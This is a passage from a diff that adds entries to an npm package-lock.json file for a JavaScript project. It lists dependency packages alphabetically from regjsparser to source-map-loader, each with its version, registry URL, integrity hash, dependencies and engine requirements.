"regjsparser": "bin/parser" + } + }, + "node_modules/regjsparser/node_modules/jsesc": { + "version": "0.5.0", + "resolved": "https://registry.npmjs.org/jsesc/-/jsesc-0.5.0.tgz", + "integrity": "sha1-597mbjXW/Bb3EP6R1c9p9w8IkR0=", + "dev": true, + "bin": { + "jsesc": "bin/jsesc" + } + }, + "node_modules/relateurl": { + "version": "0.2.7", + "resolved": "https://registry.npmjs.org/relateurl/-/relateurl-0.2.7.tgz", + "integrity": "sha1-VNvzd+UUQKypCkzSdGANP/LYiKk=", + "dev": true, + "engines": { + "node": ">= 0.10" + } + }, + "node_modules/remark": { + "version": "13.0.0", + "resolved": "https://registry.npmjs.org/remark/-/remark-13.0.0.tgz", + "integrity": "sha512-HDz1+IKGtOyWN+QgBiAT0kn+2s6ovOxHyPAFGKVE81VSzJ+mq7RwHFledEvB5F1p4iJvOah/LOKdFuzvRnNLCA==", + "dev": true, + "dependencies": { + "remark-parse": "^9.0.0", + "remark-stringify": "^9.0.0", + "unified": "^9.1.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/remark-parse": { + "version": "9.0.0", + "resolved": "https://registry.npmjs.org/remark-parse/-/remark-parse-9.0.0.tgz", + "integrity": "sha512-geKatMwSzEXKHuzBNU1z676sGcDcFoChMK38TgdHJNAYfFtsfHDQG7MoJAjs6sgYMqyLduCYWDIWZIxiPeafEw==", + "dev": true, + "dependencies": { + "mdast-util-from-markdown": "^0.8.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/remark-stringify": { + "version": "9.0.1", + "resolved": "https://registry.npmjs.org/remark-stringify/-/remark-stringify-9.0.1.tgz", + "integrity": "sha512-mWmNg3ZtESvZS8fv5PTvaPckdL4iNlCHTt8/e/8oN08nArHRHjNZMKzA/YW3+p7/lYqIw4nx1XsjCBo/AxNChg==", + "dev": true, + "dependencies": { + "mdast-util-to-markdown": "^0.6.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/renderkid": { + "version": "2.0.7", + "resolved": "https://registry.npmjs.org/renderkid/-/renderkid-2.0.7.tgz", + "integrity": "sha512-oCcFyxaMrKsKcTY59qnCAtmDVSLfPbrv6A3tVbPdFMMrv5jaK10V6m40cKsoPNhAqN6rmHW9sswW4o3ruSrwUQ==", + "dev": true, + "dependencies": { + "css-select": "^4.1.3", + "dom-converter": "^0.2.0", + "htmlparser2": "^6.1.0", + "lodash": "^4.17.21", + "strip-ansi": "^3.0.1" + } + }, + "node_modules/renderkid/node_modules/dom-serializer": { + "version": "1.3.2", + "resolved": "https://registry.npmjs.org/dom-serializer/-/dom-serializer-1.3.2.tgz", + "integrity": "sha512-5c54Bk5Dw4qAxNOI1pFEizPSjVsx5+bpJKmL2kPn8JhBUq2q09tTCa3mjijun2NfK78NMouDYNMBkOrPZiS+ig==", + "dev": true, + "dependencies": { + "domelementtype": "^2.0.1", + "domhandler": "^4.2.0", + "entities": "^2.0.0" + }, + "funding": { + "url": "https://github.com/cheeriojs/dom-serializer?sponsor=1" + } + }, + "node_modules/renderkid/node_modules/domelementtype": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/domelementtype/-/domelementtype-2.2.0.tgz", + "integrity": "sha512-DtBMo82pv1dFtUmHyr48beiuq792Sxohr+8Hm9zoxklYPfa6n0Z3Byjj2IV7bmr2IyqClnqEQhfgHJJ5QF0R5A==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/fb55" + } + ] + }, + "node_modules/renderkid/node_modules/domhandler": { + "version": "4.2.2", + "resolved": "https://registry.npmjs.org/domhandler/-/domhandler-4.2.2.tgz", + "integrity": "sha512-PzE9aBMsdZO8TK4BnuJwH0QT41wgMbRzuZrHUcpYncEjmQazq8QEaBWgLG7ZyC/DAZKEgglpIA6j4Qn/HmxS3w==", + "dev": true, + "dependencies": { + "domelementtype": "^2.2.0" + }, + "engines": { + "node": ">= 4" + }, + "funding": { + "url": "https://github.com/fb55/domhandler?sponsor=1" + } + }, + "node_modules/renderkid/node_modules/domutils": { + "version": "2.8.0", + "resolved": "https://registry.npmjs.org/domutils/-/domutils-2.8.0.tgz", + "integrity": "sha512-w96Cjofp72M5IIhpjgobBimYEfoPjx1Vx0BSX9P30WBdZW2WIKU0T1Bd0kz2eNZ9ikjKgHbEyKx8BB6H1L3h3A==", + "dev": true, + "dependencies": { + "dom-serializer": "^1.0.1", + "domelementtype": "^2.2.0", + "domhandler": "^4.2.0" + }, + "funding": { + "url": "https://github.com/fb55/domutils?sponsor=1" + } + }, + "node_modules/renderkid/node_modules/htmlparser2": { + "version": "6.1.0", + "resolved": "https://registry.npmjs.org/htmlparser2/-/htmlparser2-6.1.0.tgz", + "integrity": "sha512-gyyPk6rgonLFEDGoeRgQNaEUvdJ4ktTmmUh/h2t7s+M8oPpIPxgNACWa+6ESR57kXstwqPiCut0V8NRpcwgU7A==", + "dev": true, + "funding": [ + "https://github.com/fb55/htmlparser2?sponsor=1", + { + "type": "github", + "url": "https://github.com/sponsors/fb55" + } + ], + "dependencies": { + "domelementtype": "^2.0.1", + "domhandler": "^4.0.0", + "domutils": "^2.5.2", + "entities": "^2.0.0" + } + }, + "node_modules/repeat-string": { + "version": "1.6.1", + "resolved": "https://registry.npmjs.org/repeat-string/-/repeat-string-1.6.1.tgz", + "integrity": "sha1-jcrkcOHIirwtYA//Sndihtp15jc=", + "dev": true, + "engines": { + "node": ">=0.10" + } + }, + "node_modules/require-directory": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/require-directory/-/require-directory-2.1.1.tgz", + "integrity": "sha1-jGStX9MNqxyXbiNE/+f3kqam30I=", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/require-from-string": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/require-from-string/-/require-from-string-2.0.2.tgz", + "integrity": "sha512-Xf0nWe6RseziFMu+Ap9biiUbmplq6S9/p+7w7YXP/JBHhrUDDUhwa+vANyubuqfZWTveU//DYVGsDG7RKL/vEw==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/requires-port": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/requires-port/-/requires-port-1.0.0.tgz", + "integrity": "sha1-kl0mAdOaxIXgkc8NpcbmlNw9yv8=", + "dev": true + }, + "node_modules/resolve": { + "version": "1.17.0", + "resolved": "https://registry.npmjs.org/resolve/-/resolve-1.17.0.tgz", + "integrity": "sha512-ic+7JYiV8Vi2yzQGFWOkiZD5Z9z7O2Zhm9XMaTxdJExKasieFCr+yXZ/WmXsckHiKl12ar0y6XiXDx3m4RHn1w==", + "dependencies": { + "path-parse": "^1.0.6" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/resolve-cwd": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/resolve-cwd/-/resolve-cwd-3.0.0.tgz", + "integrity": "sha512-OrZaX2Mb+rJCpH/6CpSqt9xFVpN++x01XnN2ie9g6P5/3xelLAkXWVADpdz1IHD/KFfEXyE6V0U01OQ3UO2rEg==", + "dev": true, + "dependencies": { + "resolve-from": "^5.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/resolve-cwd/node_modules/resolve-from": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/resolve-from/-/resolve-from-5.0.0.tgz", + "integrity": "sha512-qYg9KP24dD5qka9J47d0aVky0N+b4fTU89LN9iDnjB5waksiC49rvMB0PrUJQGoTmH50XPiqOvAjDfaijGxYZw==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/resolve-from": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/resolve-from/-/resolve-from-4.0.0.tgz", + "integrity": "sha512-pb/MYmXstAkysRFx8piNI1tGFNQIFA3vkE3Gq4EuA1dF6gHp/+vgZqsCGJapvy8N3Q+4o7FwvquPJcnZ7RYy4g==", + "engines": { + "node": ">=4" + } + }, + "node_modules/resolve-pathname": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/resolve-pathname/-/resolve-pathname-3.0.0.tgz", + "integrity": "sha512-C7rARubxI8bXFNB/hqcp/4iUeIXJhJZvFPFPiSPRnhU5UPxzMFIl+2E6yY6c4k9giDJAhtV+enfA+G89N6Csng==" + }, + "node_modules/restore-cursor": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/restore-cursor/-/restore-cursor-3.1.0.tgz", + "integrity": "sha512-l+sSefzHpj5qimhFSE5a8nufZYAM3sBSVMAPtYkmC+4EH2anSGaEMXSD0izRQbu9nfyQ9y5JrVmp7E8oZrUjvA==", + "dev": true, + "dependencies": { + "onetime": "^5.1.0", + "signal-exit": "^3.0.2" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/retry": { + "version": "0.13.1", + "resolved": "https://registry.npmjs.org/retry/-/retry-0.13.1.tgz", + "integrity": "sha512-XQBQ3I8W1Cge0Seh+6gjj03LbmRFWuoszgK9ooCpwYIrhhoO80pfq4cUkU5DkknwfOfFteRwlZ56PYOGYyFWdg==", + "dev": true, + "engines": { + "node": ">= 4" + } + }, + "node_modules/reusify": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/reusify/-/reusify-1.0.4.tgz", + "integrity": "sha512-U9nH88a3fc/ekCF1l0/UP1IosiuIjyTh7hBvXVMHYgVcfGvt897Xguj2UOLDeI5BG2m7/uwyaLVT6fbtCwTyzw==", + "dev": true, + "engines": { + "iojs": ">=1.0.0", + "node": ">=0.10.0" + } + }, + "node_modules/rimraf": { + "version": "2.7.1", + "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-2.7.1.tgz", + "integrity": "sha512-uWjbaKIK3T1OSVptzX7Nl6PvQ3qAGtKEtVRjRuazjfL3Bx5eI409VZSqgND+4UNnmzLVdPj9FqFJNPqBZFve4w==", + "dev": true, + "dependencies": { + "glob": "^7.1.3" + }, + "bin": { + "rimraf": "bin.js" + } + }, + "node_modules/run-async": { + "version": "2.4.1", + "resolved": "https://registry.npmjs.org/run-async/-/run-async-2.4.1.tgz", + "integrity": "sha512-tvVnVv01b8c1RrA6Ep7JkStj85Guv/YrMcwqYQnwjsAS2cTmmPGBBjAjpCW7RrSodNSoE2/qg9O4bceNvUuDgQ==", + "dev": true, + "engines": { + "node": ">=0.12.0" + } + }, + "node_modules/run-parallel": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/run-parallel/-/run-parallel-1.2.0.tgz", + "integrity": "sha512-5l4VyZR86LZ/lDxZTR6jqL8AFE2S0IFLMP26AbjsLVADxHdhB/c0GUsH+y39UfCi3dzz8OlQuPmnaJOMoDHQBA==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ], + "dependencies": { + "queue-microtask": "^1.2.2" + } + }, + "node_modules/rw": { + "version": "1.3.3", + "resolved": "https://registry.npmjs.org/rw/-/rw-1.3.3.tgz", + "integrity": "sha1-P4Yt+pGrdmsUiF700BEkv9oHT7Q=" + }, + "node_modules/rxjs": { + "version": "6.5.5", + "resolved": "https://registry.npmjs.org/rxjs/-/rxjs-6.5.5.tgz", + "integrity": "sha512-WfQI+1gohdf0Dai/Bbmk5L5ItH5tYqm3ki2c5GdWhKjalzjg93N3avFjVStyZZz+A2Em+ZxKH5bNghw9UeylGQ==", + "dev": true, + "dependencies": { + "tslib": "^1.9.0" + }, + "engines": { + "npm": ">=2.0.0" + } + }, + "node_modules/safe-buffer": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.2.tgz", + "integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==" + }, + "node_modules/safer-buffer": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/safer-buffer/-/safer-buffer-2.1.2.tgz", + "integrity": "sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg==" + }, + "node_modules/sass": { + "version": "1.42.1", + "resolved": "https://registry.npmjs.org/sass/-/sass-1.42.1.tgz", + "integrity": "sha512-/zvGoN8B7dspKc5mC6HlaygyCBRvnyzzgD5khiaCfglWztY99cYoiTUksVx11NlnemrcfH5CEaCpsUKoW0cQqg==", + "dev": true, + "dependencies": { + "chokidar": ">=3.0.0 <4.0.0" + }, + "bin": { + "sass": "sass.js" + }, + "engines": { + "node": ">=8.9.0" + } + }, + "node_modules/sass-loader": { + "version": "7.3.1", + "resolved": "https://registry.npmjs.org/sass-loader/-/sass-loader-7.3.1.tgz", + "integrity": "sha512-tuU7+zm0pTCynKYHpdqaPpe+MMTQ76I9TPZ7i4/5dZsigE350shQWe5EZNl5dBidM49TPET75tNqRbcsUZWeNA==", + "dev": true, + "dependencies": { + "clone-deep": "^4.0.1", + "loader-utils": "^1.0.1", + "neo-async": "^2.5.0", + "pify": "^4.0.1", + "semver": "^6.3.0" + }, + "engines": { + "node": ">= 6.9.0" + }, + "peerDependencies": { + "webpack": "^3.0.0 || ^4.0.0" + } + }, + "node_modules/sass-loader/node_modules/pify": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/pify/-/pify-4.0.1.tgz", + "integrity": "sha512-uB80kBFb/tfd68bVleG9T5GGsGPjJrLAUpR5PZIrhBnIaRTQRjqdJSsIKkOP6OAIFbj7GOrcudc5pNjZ+geV2g==", + "dev": true, + "engines": { + "node": ">=6" + } + }, + "node_modules/sass-loader/node_modules/semver": { + "version": "6.3.0", + "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.0.tgz", + "integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw==", + "dev": true, + "bin": { + "semver": "bin/semver.js" + } + }, + "node_modules/scheduler": { + "version": "0.19.1", + "resolved": "https://registry.npmjs.org/scheduler/-/scheduler-0.19.1.tgz", + "integrity": "sha512-n/zwRWRYSUj0/3g/otKDRPMh6qv2SYMWNq85IEa8iZyAv8od9zDYpGSnpBEjNgcMNq6Scbu5KfIPxNF72R/2EA==", + "dependencies": { + "loose-envify": "^1.1.0", + "object-assign": "^4.1.1" + } + }, + "node_modules/schema-utils": { + "version": "2.6.6", + "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-2.6.6.tgz", + "integrity": "sha512-wHutF/WPSbIi9x6ctjGGk2Hvl0VOz5l3EKEuKbjPlB30mKZUzb9A5k9yEXRX3pwyqVLPvpfZZEllaFq/M718hA==", + "dev": true, + "dependencies": { + "ajv": "^6.12.0", + "ajv-keywords": "^3.4.1" + }, + "engines": { + "node": ">= 8.9.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + } + }, + "node_modules/select-hose": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/select-hose/-/select-hose-2.0.0.tgz", + "integrity": "sha1-Yl2GWPhlr0Psliv8N2o3NZpJlMo=", + "dev": true + }, + "node_modules/selfsigned": { + "version": "1.10.11", + "resolved": "https://registry.npmjs.org/selfsigned/-/selfsigned-1.10.11.tgz", + "integrity": "sha512-aVmbPOfViZqOZPgRBT0+3u4yZFHpmnIghLMlAcb5/xhp5ZtB/RVnKhz5vl2M32CLXAqR4kha9zfhNg0Lf/sxKA==", + "dev": true, + "dependencies": { + "node-forge": "^0.10.0" + } + }, + "node_modules/semver": { + "version": "5.7.1", + "resolved": "https://registry.npmjs.org/semver/-/semver-5.7.1.tgz", + "integrity": "sha512-sauaDf/PZdVgrLTNYHRtpXa1iRiKcaebiKQ1BJdpQlWH2lCvexQdX55snPFyK7QzpudqbCI0qXFfOasHdyNDGQ==", + "dev": true, + "bin": { + "semver": "bin/semver" + } + }, + "node_modules/send": { + "version": "0.17.1", + "resolved": "https://registry.npmjs.org/send/-/send-0.17.1.tgz", + "integrity": "sha512-BsVKsiGcQMFwT8UxypobUKyv7irCNRHk1T0G680vk88yf6LBByGcZJOTJCrTP2xVN6yI+XjPJcNuE3V4fT9sAg==", + "dev": true, + "dependencies": { + "debug": "2.6.9", + "depd": "~1.1.2", + "destroy": "~1.0.4", + "encodeurl": "~1.0.2", + "escape-html": "~1.0.3", + "etag": "~1.8.1", + "fresh": "0.5.2", + "http-errors": "~1.7.2", + "mime": "1.6.0", + "ms": "2.1.1", + "on-finished": "~2.3.0", + "range-parser": "~1.2.1", + "statuses": "~1.5.0" + }, + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/send/node_modules/debug": { + "version": "2.6.9", + "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", + "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", + "dev": true, + "dependencies": { + "ms": "2.0.0" + } + }, + "node_modules/send/node_modules/debug/node_modules/ms": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", + "integrity": "sha1-VgiurfwAvmwpAd9fmGF4jeDVl8g=", + "dev": true + }, + "node_modules/send/node_modules/mime": { + "version": "1.6.0", + "resolved": "https://registry.npmjs.org/mime/-/mime-1.6.0.tgz", + "integrity": "sha512-x0Vn8spI+wuJ1O6S7gnbaQg8Pxh4NNHb7KSINmEWKiPE4RKOplvijn+NkmYmmRgP68mc70j2EbeTFRsrswaQeg==", + "dev": true, + "bin": { + "mime": "cli.js" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/send/node_modules/ms": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.1.tgz", + "integrity": "sha512-tgp+dl5cGk28utYktBsrFqA7HKgrhgPsg6Z/EfhWI4gl1Hwq8B/GmY/0oXZ6nF8hDVesS/FpnYaD/kOWhYQvyg==", + "dev": true + }, + "node_modules/serialize-javascript": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/serialize-javascript/-/serialize-javascript-6.0.0.tgz", + "integrity": "sha512-Qr3TosvguFt8ePWqsvRfrKyQXIiW+nGbYpy8XK24NQHE83caxWt+mIymTT19DGFbNWNLfEwsrkSmN64lVWB9ag==", + "dependencies": { + "randombytes": "^2.1.0" + } + }, + "node_modules/serve-index": { + "version": "1.9.1", + "resolved": "https://registry.npmjs.org/serve-index/-/serve-index-1.9.1.tgz", + "integrity": "sha1-03aNabHn2C5c4FD/9bRTvqEqkjk=", + "dev": true, + "dependencies": { + "accepts": "~1.3.4", + "batch": "0.6.1", + "debug": "2.6.9", + "escape-html": "~1.0.3", + "http-errors": "~1.6.2", + "mime-types": "~2.1.17", + "parseurl": "~1.3.2" + }, + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/serve-index/node_modules/debug": { + "version": "2.6.9", + "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", + "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", + "dev": true, + "dependencies": { + "ms": "2.0.0" + } + }, + "node_modules/serve-index/node_modules/http-errors": { + "version": "1.6.3", + "resolved": "https://registry.npmjs.org/http-errors/-/http-errors-1.6.3.tgz", + "integrity": "sha1-i1VoC7S+KDoLW/TqLjhYC+HZMg0=", + "dev": true, + "dependencies": { + "depd": "~1.1.2", + "inherits": "2.0.3", + "setprototypeof": "1.1.0", + "statuses": ">= 1.4.0 < 2" + }, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/serve-index/node_modules/inherits": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.3.tgz", + "integrity": "sha1-Yzwsg+PaQqUC9SRmAiSA9CCCYd4=", + "dev": true + }, + "node_modules/serve-index/node_modules/ms": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", + "integrity": "sha1-VgiurfwAvmwpAd9fmGF4jeDVl8g=", + "dev": true + }, + "node_modules/serve-index/node_modules/setprototypeof": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/setprototypeof/-/setprototypeof-1.1.0.tgz", + "integrity": "sha512-BvE/TwpZX4FXExxOxZyRGQQv651MSwmWKZGqvmPcRIjDqWub67kTKuIMx43cZZrS/cBBzwBcNDWoFxt2XEFIpQ==", + "dev": true + }, + "node_modules/serve-static": { + "version": "1.14.1", + "resolved": "https://registry.npmjs.org/serve-static/-/serve-static-1.14.1.tgz", + "integrity": "sha512-JMrvUwE54emCYWlTI+hGrGv5I8dEwmco/00EvkzIIsR7MqrHonbD9pO2MOfFnpFntl7ecpZs+3mW+XbQZu9QCg==", + "dev": true, + "dependencies": { + "encodeurl": "~1.0.2", + "escape-html": "~1.0.3", + "parseurl": "~1.3.3", + "send": "0.17.1" + }, + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/setimmediate": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/setimmediate/-/setimmediate-1.0.5.tgz", + "integrity": "sha1-KQy7Iy4waULX1+qbg3Mqt4VvgoU=" + }, + "node_modules/setprototypeof": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/setprototypeof/-/setprototypeof-1.1.1.tgz", + "integrity": "sha512-JvdAWfbXeIGaZ9cILp38HntZSFSo3mWg6xGcJJsd+d4aRMOqauag1C63dJfDw7OaMYwEbHMOxEZ1lqVRYP2OAw==", + "dev": true + }, + "node_modules/sha3": { + "version": "2.1.4", + "resolved": "https://registry.npmjs.org/sha3/-/sha3-2.1.4.tgz", + "integrity": "sha512-S8cNxbyb0UGUM2VhRD4Poe5N58gJnJsLJ5vC7FYWGUmGhcsj4++WaIOBFVDxlG0W3To6xBuiRh+i0Qp2oNCOtg==", + "dependencies": { + "buffer": "6.0.3" + } + }, + "node_modules/shallow-clone": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/shallow-clone/-/shallow-clone-3.0.1.tgz", + "integrity": "sha512-/6KqX+GVUdqPuPPd2LxDDxzX6CAbjJehAAOKlNpqqUpAqPM6HeL8f+o3a+JsyGjn2lv0WY8UsTgUJjU9Ok55NA==", + "dev": true, + "dependencies": { + "kind-of": "^6.0.2" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/shallowequal": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/shallowequal/-/shallowequal-1.1.0.tgz", + "integrity": "sha512-y0m1JoUZSlPAjXVtPPW70aZWfIL/dSP7AFkRnniLCrK/8MDKog3TySTBmckD+RObVxH0v4Tox67+F14PdED2oQ==" + }, + "node_modules/shebang-command": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/shebang-command/-/shebang-command-1.2.0.tgz", + "integrity": "sha1-RKrGW2lbAzmJaMOfNj/uXer98eo=", + "dev": true, + "dependencies": { + "shebang-regex": "^1.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/shebang-regex": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/shebang-regex/-/shebang-regex-1.0.0.tgz", + "integrity": "sha1-2kL0l0DAtC2yypcoVxyxkMmO/qM=", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/shortid": { + "version": "2.2.15", + "resolved": "https://registry.npmjs.org/shortid/-/shortid-2.2.15.tgz", + "integrity": "sha512-5EaCy2mx2Jgc/Fdn9uuDuNIIfWBpzY4XIlhoqtXF6qsf+/+SGZ+FxDdX/ZsMZiWupIWNqAEmiNY4RC+LSmCeOw==", + "dependencies": { + "nanoid": "^2.1.0" + } + }, + "node_modules/side-channel": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/side-channel/-/side-channel-1.0.4.tgz", + "integrity": "sha512-q5XPytqFEIKHkGdiMIrY10mvLRvnQh42/+GoBlFW3b2LXLE2xxJpZFdm94we0BaoV3RwJyGqg5wS7epxTv0Zvw==", + "dev": true, + "dependencies": { + "call-bind": "^1.0.0", + "get-intrinsic": "^1.0.2", + "object-inspect": "^1.9.0" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/signal-exit": { + "version": "3.0.3", + "resolved": "https://registry.npmjs.org/signal-exit/-/signal-exit-3.0.3.tgz", + "integrity": "sha512-VUJ49FC8U1OxwZLxIbTTrDvLnf/6TDgxZcK8wxR8zs13xpx7xbG60ndBlhNrFi2EMuFRoeDoJO7wthSLq42EjA==", + "dev": true + }, + "node_modules/slash": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/slash/-/slash-2.0.0.tgz", + "integrity": "sha512-ZYKh3Wh2z1PpEXWr0MpSBZ0V6mZHAQfYevttO11c51CaWjGTaadiKZ+wVt1PbMlDV5qhMFslpZCemhwOK7C89A==", + "dev": true, + "engines": { + "node": ">=6" + } + }, + "node_modules/slice-ansi": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/slice-ansi/-/slice-ansi-2.1.0.tgz", + "integrity": "sha512-Qu+VC3EwYLldKa1fCxuuvULvSJOKEgk9pi8dZeCVK7TqBfUNTH4sFkk4joj8afVSfAYgJoSOetjx9QWOJ5mYoQ==", + "dev": true, + "dependencies": { + "ansi-styles": "^3.2.0", + "astral-regex": "^1.0.0", + "is-fullwidth-code-point": "^2.0.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/slice-ansi/node_modules/is-fullwidth-code-point": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-2.0.0.tgz", + "integrity": "sha1-o7MKXE8ZkYMWeqq5O+764937ZU8=", + "dev": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/snyk": { + "version": "1.733.0", + "resolved": "https://registry.npmjs.org/snyk/-/snyk-1.733.0.tgz", + "integrity": "sha512-Mi/wk9tw8ma4P2+2QwgzGDHcIG0Tfj0Wn7cliuUqd7CM8bg+Oryq3g4NcNK6mJZz0VaISF8MCIcIzbqV8v0JYg==", + "dev": true, + "bin": { + "snyk": "bin/snyk" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/sockjs": { + "version": "0.3.21", + "resolved": "https://registry.npmjs.org/sockjs/-/sockjs-0.3.21.tgz", + "integrity": "sha512-DhbPFGpxjc6Z3I+uX07Id5ZO2XwYsWOrYjaSeieES78cq+JaJvVe5q/m1uvjIQhXinhIeCFRH6JgXe+mvVMyXw==", + "dev": true, + "dependencies": { + "faye-websocket": "^0.11.3", + "uuid": "^3.4.0", + "websocket-driver": "^0.7.4" + } + }, + "node_modules/sockjs/node_modules/uuid": { + "version": "3.4.0", + "resolved": "https://registry.npmjs.org/uuid/-/uuid-3.4.0.tgz", + "integrity": "sha512-HjSDRw6gZE5JMggctHBcjVak08+KEVhSIiDzFnT9S9aegmp85S/bReBVTb4QTFaRNptJ9kuYaNhnbNEOkbKb/A==", + "deprecated": "Please upgrade to version 7 or higher. Older versions may use Math.random() in certain circumstances, which is known to be problematic. See https://v8.dev/blog/math-random for details.", + "dev": true, + "bin": { + "uuid": "bin/uuid" + } + }, + "node_modules/source-map": { + "version": "0.5.7", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.5.7.tgz", + "integrity": "sha1-igOdLRAh0i0eoUyA2OpGi6LvP8w=", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/source-map-loader": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/source-map-loader/-/source-map-loader-1.1.3.tgz", + "integrity": "sha512-6YHeF+XzDOrT/ycFJNI53cgEsp/tHTMl37hi7uVyqFAlTXW109JazaQCkbc+jjoL2637qkH1amLi+JzrIpt5lA==", + "dependencies": { + "abab": "^2.0.5", + "iconv-lite": "^0.6.2", + "loader-utils": "^2.0.0", + "schema-utils": "^3.0.0", + "source-map": "^0.6.1", + "whatwg-mimetype": "^2.3.0" + }, + "engines": { + "node": ">= 10.13.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + }, + "peerDependencies": { + "webpack": "^4.0.0 || ^5.0.0" + } + }, + "node_modules/source-map-loader/node_modules/@types/json-schema": { + "version": "7.0.7", + "resolved": "https://registry.npmjs.org/@types/json-schema/-/json-schema-7.0.7.tgz", + "integrity": "sha512-cxWFQVseBm6O9Gbw1IWb8r6OS4OhSt3hPZLkFApLjM8TEXROBuQGLAH2i2gZpcXdLBIrpXuTDhH7Vbm1iXmNGA==" + }, + "node_modules/source-map-loader/node_modules/ajv": { + "version": "6.12.6", + "resolved": "https://registry.npmjs.org/ajv/-/ajv-6.12.6.tgz", + "integrity": "sha512-j3fVLgvTo527anyYyJOGTYJbG+vnnQYvE0m5mmkc1TK+nxAppkCLMIL0aZ4dblVCNoGShhm+kzE4ZUykBoMg4g==", + "dependencies": { + "fast-deep-equal": "^3.1.1", + "fast-json-stable-stringify": "^2.0.0", + "json-schema-traverse": "^0.4.1", + "uri-js": "^4.2.2" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/epoberezkin" + } + }, + "node_modules/source-map-loader/node_modules/ajv-keywords": { + "version": "3.5.2", + "resolved": "https://registry.npmjs.org/ajv-keywords/-/ajv-keywords-3.5.2.tgz", + "integrity": "sha512-5p6WTN0DdTGVQk6VjcEju19IgaHudalcfabD7yhDGeA6bcQnmL+CpveLJq/3hvfwd1aof6L386Ougkx6RfyMIQ==", + "peerDependencies": { + "ajv": "^6.9.1" + } + }, + 